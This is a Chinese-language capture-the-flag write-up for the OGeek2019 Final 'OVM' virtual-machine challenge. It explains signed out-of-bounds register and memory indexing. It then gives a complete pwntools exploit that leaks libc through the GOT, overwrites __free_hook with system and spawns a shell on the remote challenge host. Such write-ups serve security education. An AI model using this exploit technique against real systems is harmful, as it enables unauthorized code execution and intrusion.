[OGeek2019 Final]OVM(簡易虛擬機逃逸)

[OGeek2019 Final]OVM

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下,是一個虛擬機

其中,這裏這條mov reg的指令比較重要

還有這裏mov memory的指令也比較重要

這裏兩處,都存在下標越界,通過查看彙編指令可知,memory和reg都是有符號的數據數組。

因此,利用reg[out] = memory[-X],可以向上越界,將數據存儲在reg[out]裏。向上越界,可以讀取got表,進而可以獲得glibc函數地址。同理,memory[-X] = reg[op],可以實現任意地址寫。我們可以利用虛擬機指令,將comment篡改爲free_hook的地址,然後,虛擬機指令執行完以後

這裏會有一個對comment進行編輯的操作

編輯結束後會調用free

因此,我們將comment修改爲free_hook,然後編輯的時候編輯爲system或one_gadget的地址。

#coding:utf8
from pwn import *

#sh = process('./ovm')
sh = remote('node3.buuoj.cn',25335)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
exit_sym = libc.sym['exit']
free_hook_sym = libc.symbols['__free_hook']
opcode = []

def mov_reg(reg,data):
   #===================通過運算,使得reg[0]爲指定值=============
   #reg[i] = (data & 0xFF000000) >> 24
   opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8((data & 0xFF000000) >> 24))[::-1]))
   #reg[11] = 24
   opcode.append(u32( (p8(0x10) + p8(11) + p8(0) + p8(24))[::-1]))
   #reg[12] = reg[i] << 24
   opcode.append(u32( (p8(0xC0) + p8(12) + p8(reg) + p8(11))[::-1]))
   #reg[i] = (data & 0xFF000000) >> 16
   opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8((data & 0xFF0000) >> 16))[::-1]))
   #reg[11] = 16
   opcode.append(u32( (p8(0x10) + p8(11) + p8(0) + p8(16))[::-1]))
   #reg[13] = reg[i] << 16
   opcode.append(u32( (p8(0xC0) + p8(13) + p8(reg) + p8(11))[::-1]))
   #reg[12] = reg[12] | reg[13]
   opcode.append(u32( (p8(0xA0) + p8(12) + p8(12) + p8(13))[::-1]))
   #reg[i] = (data & 0xFF00) >> 8
   opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8((data & 0xFF00) >> 8))[::-1]))
   #reg[11] = 8
   opcode.append(u32( (p8(0x10) + p8(11) + p8(0) + p8(8))[::-1]))
   #reg[13] = reg[i] << 8
   opcode.append(u32( (p8(0xC0) + p8(13) + p8(reg) + p8(11))[::-1]))
   #reg[12] = reg[12] | reg[13]
   opcode.append(u32( (p8(0xA0) + p8(12) + p8(12) + p8(13))[::-1]))
   #reg[i] = data & 0xFF
   opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8(data & 0xFF))[::-1]))
   #reg[i] |= reg[12]
   opcode.append(u32( (p8(0xA0) + p8(reg) + p8(reg) + p8(12))[::-1]))
#=======================================================================
def mov_mem_reg(reg1,reg2):
   #memory[reg1] = reg2
   opcode.append(u32( (p8(0x40) + p8(reg2) + p8(0) + p8(reg1))[::-1]))

def mov_reg_mem(reg1,reg2):
   opcode.append(u32( (p8(0x30) + p8(reg1) + p8(0) + p8(reg2))[::-1]))

def add_reg(reg1,reg2):
   opcode.append(u32( (p8(0x70) + p8(reg1) + p8(reg1) + p8(reg2))[::-1]))

def print_reg():
   opcode.append(u32( (p8(0) + p8(0) + p8(0) + p8(0xFF))[::-1]))

######將comment指向free_hook##############
#reg[0] = -0x20
mov_reg(0,0xFFFFFFE0)
#reg[1] = -8
mov_reg(1,0xFFFFFFF8)
#reg[2] = free_hook_sym - exit_sym - 0x8
mov_reg(2,free_hook_sym - exit_sym - 0x8)
#將exit的got內容取4字節存入reg[0]
mov_reg_mem(0,0)
#加上偏移,即變成了free_hook-0x8的地址低4字節
add_reg(0,2)
#在memory[-0x8]處寫上reg[0]的內容
mov_mem_reg(1,0)
#reg[0] = -0x1F
mov_reg(0,0xFFFFFFE1)
#reg[1] = -7
mov_reg(1,0xFFFFFFF9)
#將exit的got+4內容取4字節存入reg[0]
mov_reg_mem(0,0)
#在memory[-0x7]處寫上reg[0]的內容
mov_mem_reg(1,0)

##########泄露exit的got表
#reg[1] = -0x20
mov_reg(1,0xFFFFFFE0)
#將exit的got內容取4字節存入reg[1]
mov_reg_mem(1,1)
print_reg()


sh.sendlineafter('PC:','100')
sh.sendlineafter('SP','0')
sh.sendlineafter('CODE SIZE:',str(len(opcode)))
sh.recvuntil('CODE')
for o in opcode:
   sh.sendline(str(o))

sh.recvuntil('R0: ')
high = int(sh.recvuntil('\n',drop = True),16)
sh.recvuntil('R1: ')
low = int(sh.recvuntil('\n',drop = True),16)
exit_addr = (high << 32) + low
libc_base = exit_addr - exit_sym
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改free_hook,然後後面會觸發,getshell
sh.sendafter('HOW DO YOU FEEL AT OVM?','/bin/sh\x00' + p64(system_addr))

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章